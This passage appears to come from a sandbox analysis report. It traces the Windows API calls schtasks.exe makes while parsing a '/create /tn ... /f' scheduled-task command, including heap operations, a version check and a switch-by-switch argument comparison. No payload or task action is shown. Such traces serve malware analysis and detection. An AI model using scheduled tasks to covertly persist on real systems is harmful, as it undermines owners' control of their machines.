0x0 [0087.550] SetLastError (dwErrCode=0x490) [0087.550] SetLastError (dwErrCode=0x490) [0087.550] SetLastError (dwErrCode=0x0) [0087.550] lstrlenW (lpString="/f") returned 2 [0087.551] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0087.551] SetLastError (dwErrCode=0x490) [0087.551] SetLastError (dwErrCode=0x0) [0087.551] lstrlenW (lpString="/f") returned 2 [0087.551] GetProcessHeap () returned 0xe0000 [0087.551] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x6) returned 0xfdf60 [0087.551] GetProcessHeap () returned 0xe0000 [0087.551] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcee0 [0087.551] SetLastError (dwErrCode=0x0) [0087.551] GetProcessHeap () returned 0xe0000 [0087.551] GetProcessHeap () returned 0xe0000 [0087.551] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc330) returned 1 [0087.551] GetProcessHeap () returned 0xe0000 [0087.551] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc330) returned 0x8 [0087.551] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc330 | out: hHeap=0xe0000) returned 1 [0087.551] GetProcessHeap () returned 0xe0000 [0087.551] GetProcessHeap () returned 0xe0000 [0087.551] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd60) returned 1 [0087.551] GetProcessHeap () returned 0xe0000 [0087.551] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcd60) returned 0x20 [0087.552] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd60 | out: hHeap=0xe0000) returned 1 [0087.552] GetProcessHeap () returned 0xe0000 [0087.552] GetProcessHeap () returned 0xe0000 [0087.552] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3c0) returned 1 [0087.552] GetProcessHeap () returned 0xe0000 [0087.552] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc3c0) returned 0x14 [0087.552] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3c0 | out: hHeap=0xe0000) returned 1 [0087.552] GetProcessHeap () returned 0xe0000 [0087.552] GetProcessHeap () returned 0xe0000 [0087.552] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd90) returned 1 [0087.552] GetProcessHeap () returned 0xe0000 [0087.552] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcd90) returned 0x20 [0087.553] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd90 | out: hHeap=0xe0000) returned 1 [0087.553] GetProcessHeap () returned 0xe0000 [0087.553] GetProcessHeap () returned 0xe0000 [0087.553] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3e0) returned 1 [0087.553] GetProcessHeap () returned 0xe0000 [0087.553] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc3e0) returned 0x8 [0087.553] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3e0 | out: hHeap=0xe0000) returned 1 [0087.553] GetProcessHeap () returned 0xe0000 [0087.553] GetProcessHeap () returned 0xe0000 [0087.553] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdc0) returned 1 [0087.553] GetProcessHeap () returned 0xe0000 [0087.553] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcdc0) returned 0x20 [0087.553] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdc0 | out: hHeap=0xe0000) returned 1 [0087.554] GetProcessHeap () returned 0xe0000 [0087.554] GetProcessHeap () returned 0xe0000 [0087.554] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc400) returned 1 [0087.554] GetProcessHeap () returned 0xe0000 [0087.554] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc400) returned 0xe [0087.554] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc400 | out: hHeap=0xe0000) returned 1 [0087.554] GetProcessHeap () returned 0xe0000 [0087.554] GetProcessHeap () returned 0xe0000 [0087.554] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdf0) returned 1 [0087.554] GetProcessHeap () returned 0xe0000 [0087.554] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcdf0) returned 0x20 [0087.554] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdf0 | out: hHeap=0xe0000) returned 1 [0087.554] GetProcessHeap () returned 0xe0000 [0087.554] GetProcessHeap () returned 0xe0000 [0087.554] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc420) returned 1 [0087.554] GetProcessHeap () returned 0xe0000 [0087.554] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc420) returned 0x8 [0087.555] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc420 | out: hHeap=0xe0000) returned 1 [0087.555] GetProcessHeap () returned 0xe0000 [0087.555] GetProcessHeap () returned 0xe0000 [0087.555] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce20) returned 1 [0087.555] GetProcessHeap () returned 0xe0000 [0087.555] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce20) returned 0x20 [0087.555] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce20 | out: hHeap=0xe0000) returned 1 [0087.686] GetProcessHeap () returned 0xe0000 [0087.686] GetProcessHeap () returned 0xe0000 [0087.686] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc440) returned 1 [0087.686] GetProcessHeap () returned 0xe0000 [0087.686] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc440) returned 0x4 [0087.686] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc440 | out: hHeap=0xe0000) returned 1 [0087.686] GetProcessHeap () returned 0xe0000 [0087.686] GetProcessHeap () returned 0xe0000 [0087.686] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce50) returned 1 [0087.686] GetProcessHeap () returned 0xe0000 [0087.686] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce50) returned 0x20 [0087.687] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce50 | out: hHeap=0xe0000) returned 1 [0087.687] GetProcessHeap () returned 0xe0000 [0087.688] GetProcessHeap () returned 0xe0000 [0087.688] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc460) returned 1 [0087.688] GetProcessHeap () returned 0xe0000 [0087.688] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc460) returned 0x8 [0087.688] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc460 | out: hHeap=0xe0000) returned 1 [0087.688] GetProcessHeap () returned 0xe0000 [0087.688] GetProcessHeap () returned 0xe0000 [0087.688] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce80) returned 1 [0087.688] GetProcessHeap () returned 0xe0000 [0087.688] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce80) returned 0x20 [0087.689] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce80 | out: hHeap=0xe0000) returned 1 [0087.689] GetProcessHeap () returned 0xe0000 [0087.689] GetProcessHeap () returned 0xe0000 [0087.689] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfdec0) returned 1 [0087.689] GetProcessHeap () returned 0xe0000 [0087.689] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfdec0) returned 0x8a [0087.689] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfdec0 | out: hHeap=0xe0000) returned 1 [0087.690] GetProcessHeap () returned 0xe0000 [0087.690] GetProcessHeap () returned 0xe0000 [0087.690] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfceb0) returned 1 [0087.690] GetProcessHeap () returned 0xe0000 [0087.690] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfceb0) returned 0x20 [0087.690] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfceb0 | out: hHeap=0xe0000) returned 1 [0087.690] GetProcessHeap () returned 0xe0000 [0087.690] GetProcessHeap () returned 0xe0000 [0087.690] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfdf60) returned 1 [0087.690] GetProcessHeap () returned 0xe0000 [0087.690] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfdf60) returned 0x6 [0087.690] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfdf60 | out: hHeap=0xe0000) returned 1 [0087.690] GetProcessHeap () returned 0xe0000 [0087.690] GetProcessHeap () returned 0xe0000 [0087.690] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcee0) returned 1 [0087.690] GetProcessHeap () returned 0xe0000 [0087.690] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcee0) returned 0x20 [0087.691] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcee0 | out: hHeap=0xe0000) returned 1 [0087.691] GetProcessHeap () returned 0xe0000 [0087.691] GetProcessHeap () returned 0xe0000 [0087.691] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5560) returned 1 [0087.691] GetProcessHeap () returned 0xe0000 [0087.691] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5560) returned 0x18 [0087.691] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5560 | out: hHeap=0xe0000) returned 1 [0087.691] SetLastError (dwErrCode=0x0) [0087.692] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0087.692] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0087.692] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0087.692] VerifyVersionInfoW (in: lpVersionInformation=0xbc590, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbc590) returned 1 [0087.692] SetLastError (dwErrCode=0x0) [0087.692] lstrlenW (lpString="create") returned 6 [0087.692] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0087.692] SetLastError (dwErrCode=0x490) [0087.692] SetLastError (dwErrCode=0x0) [0087.692] lstrlenW (lpString="create") returned 6 [0087.692] GetProcessHeap () returned 0xe0000 [0087.692] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcee0 [0087.692] GetProcessHeap () returned 0xe0000 [0087.692] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfd670 [0087.692] _memicmp (_Buf1=0xfd670, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.692] GetProcessHeap () returned 0xe0000 [0087.692] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x16) returned 0xfd690 [0087.692] SetLastError (dwErrCode=0x0) [0087.692] _memicmp (_Buf1=0xfbbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.692] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xfbd60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0087.692] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0087.693] GetProcessHeap () returned 0xe0000 [0087.693] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x74e) returned 0xfdec0 [0087.693] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0xfdec0 | out: lpData=0xfdec0) returned 1 [0087.693] VerQueryValueW (in: pBlock=0xfdec0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbc678, puLen=0xbc6e0 | out: lplpBuffer=0xbc678*=0xfe25c, puLen=0xbc6e0) returned 1 [0087.693] _memicmp (_Buf1=0xfbbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.693] _vsnwprintf (in: _Buffer=0xfbd60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbc658 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0087.694] VerQueryValueW (in: pBlock=0xfdec0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbc6e8, puLen=0xbc6d8 | out: lplpBuffer=0xbc6e8*=0xfe088, puLen=0xbc6d8) returned 1 [0087.694] lstrlenW (lpString="schtasks.exe") returned 12 [0087.694] lstrlenW (lpString="schtasks.exe") returned 12 [0087.694] lstrlenW (lpString=".EXE") returned 4 [0087.694] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0087.694] lstrlenW (lpString="schtasks.exe") returned 12 [0087.694] lstrlenW (lpString=".EXE") returned 4 [0087.694] lstrlenW (lpString="schtasks") returned 8 [0087.694] lstrlenW (lpString="/create") returned 7 [0087.694] _memicmp (_Buf1=0xfbbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.694] _vsnwprintf (in: _Buffer=0xfbd60, _BufferCount=0x19, _Format="%s %s", _ArgList=0xbc658 | out: _Buffer="schtasks /create") returned 16 [0087.694] _memicmp (_Buf1=0xfbbe0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.694] GetProcessHeap () returned 0xe0000 [0087.694] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfceb0 [0087.694] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.694] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0087.694] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0087.694] GetProcessHeap () returned 0xe0000 [0087.694] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x30) returned 0xf7c20 [0087.694] _vsnwprintf (in: _Buffer=0xfc160, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbc658 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0087.694] GetProcessHeap () returned 0xe0000 [0087.694] GetProcessHeap () returned 0xe0000 [0087.695] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfdec0) returned 1 [0087.695] GetProcessHeap () returned 0xe0000 [0087.695] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfdec0) returned 0x74e [0087.695] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfdec0 | out: hHeap=0xe0000) returned 1 [0087.695] SetLastError (dwErrCode=0x0) [0087.695] GetThreadLocale () returned 0x409 [0087.695] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.695] lstrlenW (lpString="create") returned 6 [0087.696] GetThreadLocale () returned 0x409 [0087.696] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.696] lstrlenW (lpString="?") returned 1 [0087.696] GetThreadLocale () returned 0x409 [0087.696] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.696] lstrlenW (lpString="s") returned 1 [0087.696] GetThreadLocale () returned 0x409 [0087.696] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.696] lstrlenW (lpString="u") returned 1 [0087.696] GetThreadLocale () returned 0x409 [0087.696] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.696] lstrlenW (lpString="p") returned 1 [0087.696] GetThreadLocale () returned 0x409 [0087.696] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.696] lstrlenW (lpString="ru") returned 2 [0087.696] GetThreadLocale () returned 0x409 [0087.696] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.696] lstrlenW (lpString="rp") returned 2 [0087.696] GetThreadLocale () returned 0x409 [0087.696] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.696] lstrlenW (lpString="sc") returned 2 [0087.696] GetThreadLocale () returned 0x409 [0087.696] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.696] lstrlenW (lpString="mo") returned 2 [0087.696] GetThreadLocale () returned 0x409 [0087.696] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.696] lstrlenW (lpString="d") returned 1 [0087.697] GetThreadLocale () returned 0x409 [0087.697] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.697] lstrlenW (lpString="m") returned 1 [0087.697] GetThreadLocale () returned 0x409 [0087.697] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.697] lstrlenW (lpString="i") returned 1 [0087.697] GetThreadLocale () returned 0x409 [0087.697] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.697] lstrlenW (lpString="tn") returned 2 [0087.697] GetThreadLocale () returned 0x409 [0087.697] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.697] lstrlenW (lpString="tr") returned 2 [0087.697] GetThreadLocale () returned 0x409 [0087.697] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.697] lstrlenW (lpString="st") returned 2 [0087.697] GetThreadLocale () returned 0x409 [0087.697] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.697] lstrlenW (lpString="sd") returned 2 [0087.697] GetThreadLocale () returned 0x409 [0087.697] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.697] lstrlenW (lpString="ed") returned 2 [0087.697] GetThreadLocale () returned 0x409 [0087.697] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.697] lstrlenW (lpString="it") returned 2 [0087.697] GetThreadLocale () returned 0x409 [0087.697] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.697] lstrlenW (lpString="et") returned 2 [0087.698] GetThreadLocale () returned 0x409 [0087.698] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.698] lstrlenW (lpString="k") returned 1 [0087.698] GetThreadLocale () returned 0x409 [0087.698] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.698] lstrlenW (lpString="du") returned 2 [0087.698] GetThreadLocale () returned 0x409 [0087.698] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.698] lstrlenW (lpString="ri") returned 2 [0087.698] GetThreadLocale () returned 0x409 [0087.698] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.698] lstrlenW (lpString="z") returned 1 [0087.698] GetThreadLocale () returned 0x409 [0087.698] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.698] lstrlenW (lpString="f") returned 1 [0087.698] GetThreadLocale () returned 0x409 [0087.698] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.698] lstrlenW (lpString="v1") returned 2 [0087.698] GetThreadLocale () returned 0x409 [0087.698] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.698] lstrlenW (lpString="xml") returned 3 [0087.698] GetThreadLocale () returned 0x409 [0087.698] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.698] lstrlenW (lpString="ec") returned 2 [0087.698] GetThreadLocale () returned 0x409 [0087.698] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.699] lstrlenW (lpString="rl") returned 2 [0087.699] GetThreadLocale () returned 0x409 [0087.699] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.699] lstrlenW (lpString="delay") returned 5 [0087.699] GetThreadLocale () returned 0x409 [0087.699] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.699] lstrlenW (lpString="np") returned 2 [0087.699] SetLastError (dwErrCode=0x0) [0087.699] SetLastError (dwErrCode=0x0) [0087.699] lstrlenW (lpString="/create") returned 7 [0087.699] lstrlenW (lpString="-/") returned 2 [0087.699] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.699] lstrlenW (lpString="create") returned 6 [0087.699] lstrlenW (lpString="create") returned 6 [0087.699] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.699] lstrlenW (lpString="create") returned 6 [0087.699] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.699] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|create|") returned 8 [0087.699] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|create|") returned 8 [0087.699] lstrlenW (lpString="|create|") returned 8 [0087.699] lstrlenW (lpString="|create|") returned 8 [0087.699] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0087.699] SetLastError (dwErrCode=0x0) [0087.699] SetLastError (dwErrCode=0x0) [0087.700] SetLastError (dwErrCode=0x0) [0087.700] lstrlenW (lpString="/tn") returned 3 [0087.700] lstrlenW (lpString="-/") returned 2 [0087.700] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.700] lstrlenW (lpString="create") returned 6 [0087.700] lstrlenW (lpString="create") returned 6 [0087.700] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.700] lstrlenW (lpString="tn") returned 2 [0087.700] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.700] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|create|") returned 8 [0087.700] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.700] lstrlenW (lpString="|create|") returned 8 [0087.700] lstrlenW (lpString="|tn|") returned 4 [0087.700] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0087.700] SetLastError (dwErrCode=0x490) [0087.700] lstrlenW (lpString="?") returned 1 [0087.700] lstrlenW (lpString="?") returned 1 [0087.700] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.700] lstrlenW (lpString="tn") returned 2 [0087.700] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.700] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|?|") returned 3 [0087.700] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.700] lstrlenW (lpString="|?|") returned 3 [0087.700] lstrlenW (lpString="|tn|") returned 4 [0087.700] SetLastError (dwErrCode=0x490) [0087.701] lstrlenW (lpString="s") returned 1 [0087.701] lstrlenW (lpString="s") returned 1 [0087.701] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.701] lstrlenW (lpString="tn") returned 2 [0087.701] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.701] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|s|") returned 3 [0087.701] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.701] lstrlenW (lpString="|s|") returned 3 [0087.701] lstrlenW (lpString="|tn|") returned 4 [0087.701] SetLastError (dwErrCode=0x490) [0087.701] lstrlenW (lpString="u") returned 1 [0087.701] lstrlenW (lpString="u") returned 1 [0087.701] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.701] lstrlenW (lpString="tn") returned 2 [0087.701] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.701] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|u|") returned 3 [0087.701] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.701] lstrlenW (lpString="|u|") returned 3 [0087.701] lstrlenW (lpString="|tn|") returned 4 [0087.701] SetLastError (dwErrCode=0x490) [0087.701] lstrlenW (lpString="p") returned 1 [0087.701] lstrlenW (lpString="p") returned 1 [0087.701] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.701] lstrlenW (lpString="tn") returned 2 [0087.702] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.702] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|p|") returned 3 [0087.702] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.702] lstrlenW (lpString="|p|") returned 3 [0087.702] lstrlenW (lpString="|tn|") returned 4 [0087.702] SetLastError (dwErrCode=0x490) [0087.702] lstrlenW (lpString="ru") returned 2 [0087.702] lstrlenW (lpString="ru") returned 2 [0087.702] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.702] lstrlenW (lpString="tn") returned 2 [0087.702] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.702] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|ru|") returned 4 [0087.702] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.702] lstrlenW (lpString="|ru|") returned 4 [0087.702] lstrlenW (lpString="|tn|") returned 4 [0087.702] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0087.702] SetLastError (dwErrCode=0x490) [0087.702] lstrlenW (lpString="rp") returned 2 [0087.702] lstrlenW (lpString="rp") returned 2 [0087.702] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.702] lstrlenW (lpString="tn") returned 2 [0087.702] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, 